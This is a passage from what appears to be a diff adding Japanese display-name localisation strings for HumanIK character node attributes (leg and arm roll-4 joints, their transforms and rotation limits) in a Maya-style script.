"左大腿部ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimity", "左大腿部ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitz", "左大腿部ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnablex", "左大腿部ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnabley", "左大腿部ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnablez", "左大腿部ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnablex", "左大腿部ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnabley", "左大腿部ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnablez", "左大腿部ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4", "左脚ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4T", "左脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Tx", "左脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Ty", "左脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Tz", "左脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4R", "左脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Rx", "左脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Ry", "左脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Rz", "左脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4S", "左脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sx", "左脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sy", "左脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sz", "左脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", "左脚ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxis", "左脚ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisx", "左脚ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisy", "左脚ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisz", "左脚ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrient", "左脚ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrientx", "左脚ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrienty", "左脚ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrientz", "左脚ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimit", "左脚ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitx", "左脚ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimity", "左脚ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitz", "左脚ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimit", "左脚ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitx", "左脚ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimity", "左脚ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitz", "左脚ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnablex", "左脚ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnabley", "左脚ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnablez", "左脚ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnablex", "左脚ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnabley", "左脚ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnablez", "左脚ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4", "右大腿部ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4T", "右大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Tx", "右大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Ty", "右大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Tz", "右大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4R", "右大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Rx", "右大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Ry", "右大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Rz", "右大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4S", "右大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sx", "右大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sy", "右大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sz", "右大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", "右大腿部ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxis", "右大腿部ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisx", "右大腿部ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisy", "右大腿部ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisz", "右大腿部ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrient", "右大腿部ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrientx", "右大腿部ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrienty", "右大腿部ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrientz", "右大腿部ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimit", "右大腿部ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitx", "右大腿部ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimity", "右大腿部ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitz", "右大腿部ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimit", "右大腿部ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitx", "右大腿部ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimity", "右大腿部ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitz", "右大腿部ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnablex", "右大腿部ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnabley", "右大腿部ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnablez", "右大腿部ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnablex", "右大腿部ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnabley", "右大腿部ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnablez", "右大腿部ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4", "右脚ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4T", "右脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Tx", "右脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Ty", "右脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Tz", "右脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4R", "右脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Rx", "右脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Ry", "右脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Rz", "右脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4S", "右脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sx", "右脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sy", "右脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sz", "右脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", "右脚ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxis", "右脚ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisx", "右脚ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisy", "右脚ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisz", "右脚ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrient", "右脚ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrientx", "右脚ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrienty", "右脚ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrientz", "右脚ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimit", "右脚ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitx", "右脚ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimity", "右脚ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitz", "右脚ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimit", "右脚ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitx", "右脚ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimity", "右脚ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitz", "右脚ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnablex", "右脚ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnabley", "右脚ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnablez", "右脚ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnablex", "右脚ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnabley", "右脚ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnablez", "右脚ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4", "左腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4T", "左腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Tx", "左腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Ty", "左腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Tz", "左腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4R", "左腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Rx", "左腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Ry", "左腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Rz", "左腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4S", "左腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sx", "左腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sy", "左腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sz", "左腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", "左腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxis", "左腕ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisx", "左腕ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisy", "左腕ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisz", "左腕ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrient", "左腕ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrientx", "左腕ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrienty", "左腕ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrientz", "左腕ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimit", "左腕ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitx", "左腕ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimity", "左腕ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitz", "左腕ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimit", "左腕ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitx", "左腕ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimity", "左腕ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitz", "左腕ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnablex", "左腕ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnabley", "左腕ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnablez", "左腕ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnablex", "左腕ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnabley", "左腕ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnablez", "左腕ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4", "左前腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4T", "左前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Tx", "左前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Ty", "左前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Tz", "左前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4R", "左前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Rx", "左前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Ry", "左前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Rz", "左前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4S", "左前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sx", "左前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sy", "左前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sz", "左前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", "左前腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxis", "左前腕ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisx", "左前腕ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisy", "左前腕ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisz", "左前腕ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrient", "左前腕ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrientx", "左前腕ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrienty", "左前腕ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrientz", "左前腕ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimit", "左前腕ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitx", "左前腕ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimity", "左前腕ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitz", "左前腕ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimit", "左前腕ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitx", "左前腕ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimity", "左前腕ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitz", "左前腕ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnablex", "左前腕ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnabley", "左前腕ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnablez", "左前腕ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnablex", "左前腕ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnabley", "左前腕ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnablez", "左前腕ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4", "右腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4T", "右腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Tx", "右腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Ty", "右腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Tz", "右腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4R", "右腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Rx", "右腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Ry", "右腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Rz", "右腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4S", "右腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sx", "右腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sy", "右腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sz", "右腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", "右腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxis", "右腕ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisx", "右腕ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisy", "右腕ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisz", "右腕ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrient", "右腕ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrientx", "右腕ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrienty", "右腕ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrientz", "右腕ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimit", "右腕ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitx", "右腕ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimity", "右腕ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitz", "右腕ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimit", "右腕ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitx", "右腕ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimity", "右腕ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitz", "右腕ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnablex", "右腕ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnabley", "右腕ロール 4 の最小回転値 Y の有効化 可動部" ); 